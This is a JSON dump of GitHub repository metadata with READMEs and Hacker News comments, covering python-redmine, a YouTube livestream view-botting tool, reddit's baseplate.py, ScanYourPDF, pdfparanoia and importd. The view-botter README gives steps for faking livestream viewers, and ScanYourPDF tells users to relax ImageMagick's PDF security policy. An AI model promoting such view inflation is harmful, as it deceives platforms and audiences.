Support\n--------------------\n\nSupport for Standard Edition is provided via `GitHub <https://github.com/maxtepkeev/python-redmine/issues>`__\nonly, while support for Pro Edition is provided both via `GitHub <https://github.com/maxtepkeev/python-redmine/issues>`__\nand support@python-redmine.com. Be sure to write from email that was specified during the purchase procedure.\n\nCopyright and License\n---------------------\n\nPython-Redmine Standard Edition is licensed under Apache 2.0 license. Python-Redmine Pro Edition is licensed\nunder the Python-Redmine Pro Edition 1.0 license. Check the `License <https://python-redmine.com/license.html>`__\nfor details.\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "KevinLage/YouTube-Livestream-Botter", "link": "https://github.com/KevinLage/YouTube-Livestream-Botter", "tags": ["youtube-bot", "youtube", "youtube-livestream", "youtube-livestream-bot", "livestream-botting"], "stars": 501, "description": "Simple tool to bot viewers to a YouTube Livestream!", "lang": "Python", "repo_lang": "", "readme": "# 1.0 Instructions for Windows (.exe / Windows Executable File)\n\n - Download the \".exe\" variant of the program.\n - Double click or right click -> execute the file\n - Enter the ID of a YouTube livestream\n - Enter an amount of threads\n - See the viewers rise!\n\n# 2.0 Instructions for Windows/Linux (.py / Python)\n - Download the \".py\" variant of the program.\n - Double click or right click -> edit with IDLE\n - Press \"F5\" to run the program\n - Enter the ID of a YouTube livestream\n - Enter an amount of threads\n - See the viewers rise!\n\n# 3.0 Whats the ID of a Livestream?\n\nYouTube URLs look something like this => https://www.youtube.com/watch?v=dQw4w9WgXcQ <br />\nThen _dQw4w9WgXcQ_ would be the ID of the video.\n\n# C# Version!\nIn case my tool doesnt work try [Airkek](https://github.com/Airkek)'s tool\nhttps://github.com/Airkek/Youtube-Viewers\n\n[![Run on Repl.it](https://repl.it/badge/github/KevinLage/YouTube-Livestream-Botter)](https://repl.it/github/KevinLage/YouTube-Livestream-Botter)", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "reddit/baseplate.py", "link": "https://github.com/reddit/baseplate.py", "tags": ["reddit", "python", "services", "framework"], "stars": 502, "description": "reddit's python service framework", "lang": "Python", "repo_lang": "", "readme": "# baseplate.py\n\n* [Documentation](https://baseplate.readthedocs.io/en/stable/)\n* [Contribution Guidelines](https://github.com/reddit/baseplate.py/blob/develop/CONTRIBUTING.md)\n\nIt's much easier to manage a bunch of services when they all have the same\nshape: the way they're developed, the way they interact with the infrastructure\nthey run on, and the way they interact with each other. Baseplate is reddit's\nspecification for the common shape of our services. This library, Baseplate.py,\nis the Python implementation of that specification.\n\nBaseplate.py glues together tooling for interacting with the reddit backend\necosystem and spackles over things that are missing. It integrates with Apache\nThrift, Pyramid, and client libraries for many systems to transparently make\nyour applications observable.\n\nBaseplate applications transparently get:\n\n* Timing and request rate metrics using statsd\n* Distributed tracing with Zipkin\n* Error reporting and aggregation with Sentry\n\nAnd can take advantage of:\n\n* Integration with commonly used clients like: Thrift, SQLAlchemy,\n  cassandra-driver, pymemcache, redis-py, and Kombu\n* Secrets securely pulled from Vault\n\nAnd many other things!\n\n# pre-commit\n\n* [Documentation](https://pre-commit.com/)\n\nThis repo comes with pre-commit hooks that let you (on a voluntary basis)\nenable pre-commit and/or pre-push hooks.\n\nConfiguration can be found at the root of the directory in\n`.pre-commit-config.yaml`. On its own, the configuration file doesn't do\nanything. You either need to [run the hooks manually](https://pre-commit.com/#pre-commit-run)\nor [install them](https://pre-commit.com/#pre-commit-install) so that they run\nautomatically on every commit or push.\n\nCurrently, we run the `make fmt` target on commit and `make lint` / `pytest`\nactions on push.\n\nSpecific hooks can be [temporarily disabled](https://pre-commit.com/#temporarily-disabling-hooks).\n\nYou can install hooks only for a specific step (i.e. [pre-push](https://pre-commit.com/#pre-commit-during-push)).\n\n## Testing in Snoodev\n\nYou can upgrade any service to use in development Baseplate code in Snoodev by\nediting the requirements file for the service you would like to use for testing.\nUpdate the the Baseplate requirement to pull from Github instead, like this:\n\n```\ndiff --git a/requirements.txt b/requirements.txt\nindex aef8ad8..d32a078 100644\n--- a/requirements.txt\n+++ b/requirements.txt\n-baseplate==2.5.7\n+git+https://github.com/reddit/baseplate.py@<ref>#egg=baseplate\n```\n\nIn this case the ref can be either a commit hash or a branch name. After making\nthis update you can check if the service works in Snoodev.\n\n> **Warning**\n> Never deploy this change to production. Production should always use a Baseplate\n> semantic version that has been tagged, and released.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "baicunko/scanyourpdf", "link": "https://github.com/baicunko/scanyourpdf", "tags": [], "stars": 502, "description": "Repository for the Scan Your Pdf community", "lang": "Python", "repo_lang": "", "readme": "# Welcome to ScanYourPDF!\n\nThis is my first open-source project so please, feel free to comment on anything that you think requires to be overwritten! The idea behind this software is to allow anyone to make their PDF look like it was scanned. Project is currently running version 1.0 on www.scanyourpdf.com\n\nWe were featured in HN for more than 12 hours on the front page! Thanks to everyone that commented and provided feedback on the project. We are currently working on implementing all of them. Feel free to drop of any comments!\n\n[HN Post](https://news.ycombinator.com/item?id=23157408)\n\n\n\n\n# Dependencies\n\nProject requires ImageMagick and GhostScript. This will do the trick on Ubuntu:\n\n```\nsudo apt-get install ghostscript\nsudo apt-get install imagemagick\n```\n\nThis should work on macOS with [Homebrew](https://brew.sh/):\n\n```\nbrew install ghostscript\nbrew install imagemagick\n```\n\nThen the usual virtualenv dance (this within your software directory):\n\n```\npython3 -m venv .venv\nsource .venv/bin/activate\npip install -r requirements.txt\n```\n\nOn Ubuntu, PDF support in ImageMagick is disabled by default for security reasons. To \"fix\" this, change the line in `/etc/ImageMagick-6/policy.xml` from this:\n\n```<policy domain=\"coder\" rights=\"none\" pattern=\"PDF\" />```\n\nTo this:\n\n```<policy domain=\"coder\" rights=\"read|write\" pattern=\"PDF\" />```\n\nBe warned that this may be insecure; use at your own risk.\n\n\n# Gist\nThe document `scanned_pdf.sh` is a simple Gist with the two commands required to make the PDF look scanned in case you would like to run this program locally. To execute you need to make sure the dependencies have been correctly installed and then run:\n```\nchmod +x ./scanned_pdf.sh\n```\nThis makes the script executable.\n\nUsage:\n```\n./scanned_pdf.sh <filename_to_convert.pdf>\n```\nExample:\n```\n./scanned_pdf.sh scan.pdf\n```\n\n# Docker\n\nRun the script from a Docker container\n\n```\ndocker-compose build\ndocker-compose run --rm app ./scanned_pdf.sh -o output.pdf input.pdf\n```\n\n# Pending\n- Contact form for people to send any PDF that may have failed the conversion process to check\n- Make a `CONTRIBUTING.md` file for people to help\n\n# Pull request\n- I think everything is working for people to start contributing. Any questions or comments please feel free to send me an email at hello@scanyourpdf.com\n", "readme_type": "markdown", "hn_comments": "I believe printing, signing and scanning should be a punishable crime. It has a terrible impact on accessibility, as the whole text layer of the PDF is lost and it becomes unreadable for screen readers.<HN_SEP>Apparently I'm the only person on HN that doesn't understand what a \"scanned look\" means, and the author doesn't provide any images to illustrate. Could someone enlighten me?<HN_SEP>Only semi-related, but I thought their was an open source PDF-flowing tool featured on hacker news a while back (that turned PDF into responsive HTML). Anyone know of something like that?<HN_SEP>I live in Germany and I never had anyone telling me that a PDF signed digitally wasn\u2019t enough, especially if they expect you to e-mail it back to them. \nIs this a US problem?<HN_SEP>Show HN: FalsiScan \u2013 Make it look like a PDF has been hand signed and scanned (770 points, 34 days ago)\nhttps://news.ycombinator.com/item?id=22811653<HN_SEP>I just edit files with masterpdf under the linux free version, and send them back with a transparent png of my signature merged.  Good enough.<HN_SEP>Needs options for adding dog ears and a shadow cast from the top of the page, and maybe stapler holes.<HN_SEP>Not to detract from this, because it is brilliant, and I'll definitely use in the future as a last resort.Before resorting to this, I've found that if I convert the PDF to an image, and send it as a TIFF file, that is usually what the organization's people are looking for. I haven't had to do that for years now.On the extremely rare occasions someone asks if I signed it on \"real paper\" (lol), I say with a straight face, \"yep, I'm a computer guy, I have a really good scanner and image software\". I do. It's just gathering dust. Last time that happened was about 5 years ago.Over 20 years ago, I wrote my signature in thick, black Sharpie across an entire letter-sized, landscape-orientation page, scanned it with the highest resolution scanner I could cadge at the time (600 dpi, wooo!), laboriously cleaned it up, added an alpha channel, then even more laboriously vectorized it. Ever since then, dropping my signature into PDF's has worked except for those situations where a physical, wet-signed notarized document was required.At first I took to the trouble to convert the resultant PDF into TIFFs and digitally sign them. Then with some experimentation I found that flattened and stripped PDFs without the digital signature were accepted without comment. Further experimentation revealed to me that only developers like us could even tell the difference, and plain PDF's where I dropped the signature into them are accepted these days.Now, I use an Acrobat DC stamp that I converted from the vectorized form, and haven't touched the old bitmap or vectorized versions in years. Ironically, the most secure option of digital signatures gave me the most problems.<HN_SEP>For signing docs I open PDF in Illustrator and place my signature image then save and send. Are they really looking for signs of document having been scanned?<HN_SEP>From the github repo, the site is a wrapper around exactly two shell commands. Instead of uploading your data to an untrusted site, you can run from the comfort and safety of your local computer:  convert -density 150 input.pdf -colorspace gray -linear-stretch 3.5%x10% -blur 0x0.5 -attenuate 0.25 +noise Gaussian -rotate 0.5 temp.pdf\n  gs -dSAFER -dBATCH -dNOPAUSE -dNOCACHE -sDEVICE=pdfwrite -sColorConversionStrategy=LeaveColorUnchanged dAutoFilterColorImages=true -dAutoFilterGrayImages=true -dDownsampleMonoImages=true -dDownsampleGrayImages=true -dDownsampleColorImages=true -sOutputFile=output.pdf temp.pdf<HN_SEP>What I do, is print the PDF as image, with 60% jpg quality. JPG artifacts make it look like normal quality scan.I have my 3-4 copies of signatures as font file, along with initials.<HN_SEP>Neat site, but is this really necessary?  I switched to digital-only PDFs (edit online & slap in image of signature) a long time ago, without doing any obfuscation to make them look \"real\", and I've never gotten any pushback from the various government agencies, banks, insurance companies etc that insist on signed & scanned forms.<HN_SEP>This is cool and would be useful from time to time with some stupid organisations that insist for some reason on full scanning.Perhaps one suggestion. Can you update your documentation a bit to make it easier for someone to be able to implement it themselves? There's not much about that on the Github and I would guess some people would rather run their own locally.<HN_SEP>Not saying this site is, but it makes me think of all the (less legit) file conversion websites which are basically portals to harvest your documents (or your aging parents' documents that they don't otherwise know how to convert), and you later find they appear on crappy sites like Scribd.  Or worse.<HN_SEP>can you put an example picture side by side, right on the frontpage<HN_SEP>You may want to purge the key in your repo (settings.py)<HN_SEP>It looks like what is being used for the transformation is:1) set to grayscale (optional),\n2) add blur,\n3) slight rotational tilt,\n4) add gaussian blur (?)You can go one further by randomly adding tiny artifacts (ie. specks) to add even more realism. Maybe even a simulated crease in a corner.<HN_SEP>Why not deleting the file after 1 download?<HN_SEP>Really question is in some cases, you still need to sign your signature and then scan the document again, I hope this website can let you add signature automatically...<HN_SEP>Great you decided to share the source code, but then I was able to see that you let the admin session enabled. you can disable that on productionhttps://stackoverflow.com/questions/4845239/how-can-i-disabl...<HN_SEP>Pretty cool!What I normally do in a pinch is use Google Drive.. it has a \"scan\" option that you can take a picture with your phone.<HN_SEP>Is this project different in some way from many already existing solutions that do the same?I like that it is open source and in theory possible to self host since I really wouldn't want to upload my documents anywhere.I would really like to know if a similar solution exists that is very easy to run locally or if it runs in the browser it does everything client-side?<HN_SEP>Can this be done client side so the PDF does not need to be uploaded anywhere?<HN_SEP>Your convert and gs mastery is truly impressive, great job and great project.<HN_SEP>I recently came across a couple of institutions which required me to print, sign and send back a couple of documents. COVID and all of that means I don't have a printer at home. I made this website by inspiration from other posts here and now it's free to use! Code is open source so feel free to comment any new ideas or things you would like includede!<HN_SEP>example on landing page would be great<HN_SEP>I've extracted the oneliner command that runs this into a gist of a simple bash script. I don't want to send my PDFs to an unknown server. Also modified a bit (density and output compression) to reduce file size. https://gist.github.com/jduckles/29a7c5b0b8f91530af5ca3c22b8...<HN_SEP>What are the legitimate uses of this? The only uses I can think of are less than kosher.<HN_SEP>Edit: fixed now.Original: Please don't upload any private or confidential pdfs right now. I emailed OP two security concerns that trivially allow anybody to see any of the converted pdfs.<HN_SEP>I find that digital books are simply too perfect. There should be pdf fonts where there are maybe 10 incantations of each character, and the display:1. picks one incantation randomly for each display\n2. slightly and randomly alters the position/rotation of each character\n3. adds a tiny blotch now and thenLike the print in a real book, especially ones printed before 1970.I also suggest that the background be an actual scanned image of a blank piece of paper. Those \"paper color\" backgrounds are too perfect. Take some blank pages out of an older book sometime and scan them, and you'll see what I mean.<HN_SEP>I can't believe that I'm saying this but this is soooo needed. It's ridiculous to me how many organizations still require hand-signed copies as if that is somehow a deterrent to anything.<HN_SEP>To OP:the server is down.<HN_SEP>have somebody download Roblox on school compoter<HN_SEP>Obligatory xkcd reference: https://xkcd.com/1683/<HN_SEP>Impressed to see this is your first open source project! What a fantastic blend of simplicity, technology, and wit.I love it.Original (was PDF): https://i.imgur.com/v5nn1ql.pngProcessed: https://www.scanyourpdf.com/media/Scan_2020512_wegb.pdf<HN_SEP>Genius. Nice work.<HN_SEP>Suggestion: Include some before/after examples<HN_SEP>Hav somebody download ROBLOX on a school computer<HN_SEP>Seriously, how stupid it is that this can be actually useful.<HN_SEP>Also semi-related: http://ismycreditcardstolen.com/<HN_SEP>That's a pretty cool project. \nDo you mind explaining your deployment process?<HN_SEP>Funny thing is, some countries require documents to be signed on paper and then scanned. E.g. Japan.<HN_SEP>Haha, great job. There's also something to be said for the grim humour of how technology led us to this point.Sadly, I'd also be extremely wary of sending the kind of documents that I need to print out and sign through some server-side black box.<HN_SEP>Slightly related: add artificial coffee stains to LaTeX documents: http://hanno-rein.de/archives/349<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "kanzure/pdfparanoia", "link": "https://github.com/kanzure/pdfparanoia", "tags": [], "stars": 502, "description": "pdf watermark removal library for academic papers", "lang": "Python", "repo_lang": "", "readme": "# pdfparanoia\n\npdfparanoia is a PDF watermark removal library for academic papers. Some\npublishers include private information like institution names, personal names,\nip addresses, timestamps and other identifying information in watermarks on\neach page.\n\npdfparanoia \u044d\u0442\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0432\u043e\u0434\u044f\u043d\u044b\u0445 \u0437\u043d\u0430\u043a\u043e\u0432 \u0438\u0437 PDF \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430\u0443\u0447\u043d\u044b\u0445\n\u0441\u0442\u0430\u0442\u0435\u0439. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437\u0434\u0430\u0442\u0435\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043b\u0438\u0447\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0442\u0430\u043a\u0443\u044e \u043a\u0430\u043a \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\n\u0438\u043d\u0441\u0442\u0438\u0442\u0443\u0442\u043e\u0432, \u0438\u043c\u0435\u043d\u0430, IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u0432\u0440\u0435\u043c\u044f \u0438 \u0434\u0430\u0442\u0443 \u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0432 \u0432\u043e\u0434\u044f\u043d\u044b\u0435 \u0437\u043d\u0430\u043a\u0438\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435.\n\n## Installing\n\nSimple.\n\n``` bash\nsudo pip install pdfparanoia\n```\n\nor,\n\n``` bash\nsudo python setup.py install\n```\n\npdfparanoia is written for python2.7+ or python 3.\nYou will also need to manually install \"pdfminer\" if you do not use pip to install pdfparanoia.\nFor python versions prior to Python 3, use \"pdfminer\" from the Python Package Index (http://pypi.python.org). For recent versions of Python, use pdfminer3k instead.\n\n## Usage\n\n``` python\nimport pdfparanoia\n\npdf = pdfparanoia.scrub(open(\"nmat91417.pdf\", \"rb\"))\n\nwith open(\"output.pdf\", \"wb\") as file_handler:\n    file_handler.write(pdf)\n```\n\nor from the shell,\n\n``` bash\npdfparanoia --verbose input.pdf -o output.pdf\n```\n\nand,\n\n``` bash\ncat input.pdf | pdfparanoia > output.pdf\n```\n\n## Supported\n\n* AIP\n* IEEE\n* JSTOR\n* RSC\n* SPIE (sort of)\n\n## Changelog\n\n* 0.0.13 - RSC\n* 0.0.12 - SPIE\n* 0.0.11 - pdfparanoia command-line interface. Use it by either piping in pdf data, or specifying a path to a pdf in the first argv slot.\n* 0.0.10 - JSTOR\n* 0.0.9 - AIP: better checks for false-positives; IEEE: remove stdout garbage.\n* 0.0.8 - IEEE\n\n## License\n\nBSD.\n", "readme_type": "markdown", "hn_comments": "What is the motivation behind this?<HN_SEP>Is there anything like this for stock images? There's a simple  way(masking) to do it with photoshop- but it's not automatic.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "amitu/importd", "link": "https://github.com/amitu/importd", "tags": [], "stars": 501, "description": "django based mini framework inspired from sinatra. fully compatible with django.", "lang": "Python", "repo_lang": "", "readme": "Issues you can help with right now: |waffle|\n\nBuild Status: |build-status| |build-health|\n\n.. |waffle| image:: https://badge.waffle.io/amitu/importd.png?label=ready&title=Ready\n    :target: https://waffle.io/amitu/importd\n    :alt: 'Stories in Ready'\n\n.. |build-status| image:: https://travis-ci.org/amitu/importd.png?branch=master\n    :target: https://travis-ci.org/amitu/importd\n\n.. |build-health| image:: https://landscape.io/github/amitu/importd/master/landscape.svg\n   :target: https://landscape.io/github/amitu/importd/master\n   :alt: Code Health\n\nWhat is importd?\n================\n\nSlides of a talk I gave about importd: http://amitu.com/importd/\n\nDjango is awesome, but starting a new project in it is a pain. importd is\ninspired from ruby's sinatra. Hello world django project:\n\n.. code-block:: python\n\n    from importd import d\n    d(DEBUG=True)\n\n    @d(\"/\")\n    def idx(request):\n        return \"index.html\"\n\n    @d(\"/post/<int:post_id>/\")\n    def post(request, post_id):\n        return \"post.html\", {\"post_id\": post_id}\n\n    if __name__ == \"__main__\":\n        d.main()\n\nTo run it:\n\n.. code:: bash\n\n  $ python foo.py\n\nThis will start the debug server.\n\nTo run it in production:\n\n.. code:: bash\n\n  $ gunicorn foo:d\n\nExamples\n========\n\n* Simple example : https://github.com/amitu/importd/tree/master/examples\n* importd-boilerplate : https://github.com/if1live/importd-boilerplate\n\n  * importd + jinja2 + django-debug-toolbar + django REST framework\n\nSettings Framework\n==================\n\nManaging settings in django is done via a settings.py file. Then people put a\n``local_settings.py`` to override. This does not scale too well, we end up\nhaving very big settings file with almost no structure, and there are many\nissues because of lack of synchronization of ``local_settings.py`` among\ndeveloper's machines.\n\nimportd has some methods to hopefully make this simpler and more standardized.\n\nFirst of all there is no ``local_settings.py``. Setting customization are of two\nkinds, picking different things for development and prod, eg you want to\nactivate statsd for prod, but debug_toolbar for development. Both these should\nbe checked in so there is no scope of people not getting some setting\naccidentally. Then there are setting customization for not storing some things\nin version control system, say passwords and access tokens and keys. These\nshould be managed via environment variable.\n\nAnd then there is also a concern of exposing settings to template. We have a\ntemplate context processor, which can expost whole settings to templates, but\nthat is uncomfortable to many. You may want to expose only a small subset of\nthings you describe in settings, and you want to do this with minimal fuss.\n\n``importd.env``\n---------------\n\nWith that in mind importd has ``env()``, which simply reads data from\nenironment. So in your app.py you can do:\n\n.. code:: python\n\n    from importd import d, env\n    d(\n        DEBUG=not env(\"IS_PROD\", False),\n        db=env(\"DB_URL\", \"mysql://root:@localhost/dbname\")\n    )\n\nIt is highly recommended you include ``envdir`` in your project. May be someday\nimportd will auto detect envdir and set it up.\n\n``env`` is pretty smart, it takes ``default=`` and ``factory=``. If ``default``\nis passed, the string value of environment variable is converted to the\n``type()`` of ``default``. You can overwrite this behaviour by passing your own\n``factory``, or you can disable this behaviour altogether by passing\n``factory=importd.NotSet``.\n\n``env()`` also treats booleans by converting strings like \"False/off/no\" (case\ninsensitive) to python's ``False`` value (and non empty string to True as\n``bool()`` does).\n\n``importd.debug``\n-----------------\n\nWith ``.debug()`` you can set some setting to have different values based on\n``DEBUG``.\n\n.. code:: python\n\n    from importd import d, debug\n    d(\n        DEBUG=not env(\"IS_PROD\", False),\n        STATSD_CLIENT=debug(\n            'django_statsd.clients.toolbar', prod='django_statsd.clients.normal'\n        ),\n    )\n\nThis will set ``STATSD_CLIENT`` to appropriate value based on if we are in debug\nmode or not. This is as simple as putting an if condition, but it gets repeated\nso many times, its worth using this shortcut. Also this way things stay in same\nplace, you do not look for up and down the settings file, and in\nlocal_settings.py to see if the variable has been overwritten.\n\n``importd.e``\n-------------\n\nThis lets you \"expose\" a setting for access in templates. You should not use\n``\"django.core.context_processors.settings\"`` as a\n``TEMPLATE_CONTEXT_PROCESSORS``, instead use ``\"importd.esettings\"`` context\npreprocessor, and in templates you will have access to ``esettings`` variable.\n\nTo mark a variable as exposed you have to do this:\n\n.. code:: python\n\n    from importd import d, e\n\n    d(\n        DEBUG=True,\n        SOME_VAR=e(\"its value\"),\n    )\n\nThis will make ``SOME_VAR`` available in settings as well as in ``esettings``.\n\n``importd.s``` parameter\n-------------------------\nThis lets you re-use settings variables. In settings file we define variables \nand reuse them when needed. In importd you can reuse defined settings variables.\n\n.. code:: python\n    from importd import d, s\n     \n    d(\n        DEBUG=True, \n        TEMPLATE_DEBUG=s(\"DEBUG\")\n    ) \n\nThis will set ``TEMPLATE_DEBUG`` settings variable to ``DEBUG`` value. \n``s`` will raise ``ImproperlyConfiguredError`` exception if you will try to use \nit inside of key value. \n\n.. code:: python\n    from importd import d, s\n\n    d(\n        EMAIL=\"foo@example.com\",\n        ADMINS=(s(\"EMAIL\"), \"hello@example.com\")\n    )\n\nAbove example will raise ``ImproperlyConfiguredError``. \n\n``d(debug={})`` parameter\n-------------------------\n\nSome settings are only needed in debug environment, or need to be overwritten,\nyou can use the ``debug=`` keyword argument to set things up.\n\n.. code:: python\n\n    from importd import d\n\n    d(\n        DEBUG=False,\n        SOME_VAR=\"this is prod value\",\n        debug=dict(\n            SOME_VAR=\"this is debug value\"\n        )\n    )\n\nYou can also use `importd.NotSet` as a value in debug dict, and the setting will\nbe removed altogether in the approprite environment (debug or prod).\n\nd.openenv(path=None)\n---------------\nAbove method will open envdir directory in current directory and will load all \nenvironment variable inside this directory. If path is realpath i.e. full path\nthen importd will try to look into specified path. If relative path\nspecified into path then importd will look relative to current directory. \n\nIt is recommended to call it just after importing d.\n\ndebug:/prod: prefix for ``INSTALLED_APPS`` etc\n-----------------------------------------------\n\nIt is a common pattern that some apps are only needed in debug environment, say\ndevserver, or debug_toolbar. And since order of apps in ``INSTALLED_APPS``, and\nmiddelware etc is important, we end up copying the whole ``INSTALLED_APPS``,\n``MIDDLEWARE_CLASSES`` etc for prod and dev, and this then tend to diverge since\nthey are in different locations. Not good.\n\n.. code:: python\n\n    from importd import d, env\n    d(\n        DEBUG=env(\"IS_PROD\", True),\n        INSTALLED_APPS=[\n            \"django.contrib.contenttypes\",\n            \"django.contrib.auth\",\n            \"django.contrib.sessions\",\n\n            \"debug:devserver\",\n            \"debug:debug_toolbar\",\n\n            \"myapp\"\n        ]\n    )\n\nNotice the ``debug:`` prefix in ``devserver`` and ``debug_toolbar``. Depending\non the value of ``DEBUG``, these lines would be included or not. importd looks\nfor strings in ``MIDDLEWARE_CLASSES``, ``INSTALLED_APPS`` and\n``TEMPLATE_CONTEXT_PROCESSORS``.\n\nSimilarly if something starts with ``prod:``, it is only included in production\nenvironment.\n\nBackward Incompatibile Change\n=============================\n\n``d.main()`` used to be not required, now it is.\n\nFeatures\n========\n\n* fully compatible with django\n* supports smarturls\n* most of regularly used django functions and classes available in d.\n  namespace, eg d.HttpResponse, d.render_to_response, d.get_object_or_404 etc\n* automatically maps \"templates\" folder in foo.py directory to serve templates\n* automatically maps \"static\" folder in foo.py to serve static content\n* management commands still available: $ python foo.py shell\n* wsgi compliant\n* gunicorn support\n* works seamlessly with fhurl (http://packages.python.org/fhurl/)\n* Auto Add django-debug-toolbar (Needs to add it manually to INSTALLED_APPS)\n* Auto SECRET_KEY: If no SECRET_KEY on settings, try to read SECRET_KEY from\n  ./secret.txt , if no ./secret.txt generate a random string then write it to\n  ./secret.txt and finally return it as SECRET_KEY.\n* Auto Add coffin/django-jinja (jinja2 integration)\n* Support for livereload\n\nInstallation\n============\n\n.. code:: bash\n\n    $ pip install importd\n\nDocumentation\n=============\n\nhttp://importd.readthedocs.org/en/latest/\n\nChangeLog\n=========\n\nhttps://github.com/amitu/importd/blob/master/ChangeLog.rst\n\nContributors\n============\n\n* Amit Upadhyay (https://github.com/amitu)\n* Dmytro Vorona (https://github.com/alendit)\n* Jannis Leidel (https://twitter.com/jezdez)\n* Lukasz Balcerzak (https://github.com/lukaszb)\n* Juan Carlos (https://github.com/juancarlospaco)\n* Josep Cugat (https://github.com/jcugat)\n* Yu Byunghoo (https://github.com/if1live)\n* Arpit Singh (https://github.com/arpitremarkable)\n* Hitul Mistry (https://github.com/hitul007)\n\nContribution Guide\n==================\n\nTo view this file, or any restructuredtext file locally before comitting on git,\ninstall ``restview`` from pypi.\n\n**Pull Requests**: If you fork this repository to send pull request, please\ncreate a branch for your work instead of working directly on master. This way\nyour master will track my master, and in case the pull request is rejected, or\ndelayed, your master stays clean. This also makes easy to send more than one\npull requests from your fork.\n\nLICENSE\n=======\n\n* BSD\n", "readme_type": "rst", "hn_comments": "Hey, I am the author of the module, as well as that of smarturls and fhurl mentioned there.I understand the concern about magic, and moving parts. I guess the right answer to that concern would be unittests, that I am in the process or writing.I hope you enjoy the module as much as I do :-)<HN_SEP>The 'jango' is silent? I'll see myself out.<HN_SEP>This is good although I think  it has a little to much magic for me. Everything seems to happen just by using different arguments to the 'd' function, even the settings. I think its a good idea though! It would be awesome if Django had a built in way of doing single file apps.Simon Willison (one of the Django core devs) made a Django micro framework a few years ago, I don't think its been developed much recently though.http://simonwillison.net/2009/May/19/djng/http://news.ycombinator.com/item?id=615891-EDIT:Simons website seems to be down, an overview of Djing is here: https://github.com/simonw/djng<HN_SEP>the resulting view ends up looking at lot like it would in flask [1]. I would be worried about the number of moving parts that are in play.[1] http://flask.pocoo.org/<HN_SEP>This is a great tool for API prototyping and testing.However, I wouldn't use it for a full-blown app. It's like using Flask. You could do it in a single file, but it rarely makes sense to do so. By the time you organize your code, you end up with a basic MVC app structure anyway.Relocateable by default is nice. But it's pretty simple in Django to design your settings file to be path-relative.<HN_SEP>Related: django-mini, a command-line tool for running Django management commands without a full settings.py.https://github.com/davidwtbuxton/django-miniI wrote it to make it easier to run tests for plug-able Django apps.<HN_SEP>This is pretty cool. Makes stuff much more manageable.<HN_SEP>fyi: \nThis requires django 1.4.  I ran w/1.3.1 and got this error when running the helloworld example:ImportError: No module named wsgiI updated to 1.4.5 and it worked fine.<HN_SEP>As others have said, this looks really useful for proof of concept/prototyping work.  The first use case that came to mind was hackathons, actually.It'd be really nice if there was a fast, automated way to \"unwrap\" the microframework version of your webapp into the full-blown django project so that you can start hardening things for production in a single command.<HN_SEP>Awesome<HN_SEP>What kind of sorcery is this?<HN_SEP>So this is really cool to get started with, but I would worry that when you need to start taking advantage of various abstractions that Django provides, you'd end up having to do a huge refactor. Not that Django's abstractions are perfect, but if your app starts out living in a single file, you are more likely than not going to need to do some modularization at some point.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}], "_init_fingerprint": "da39a3ee5e6b4b0d3255bfef95601890afd80709"}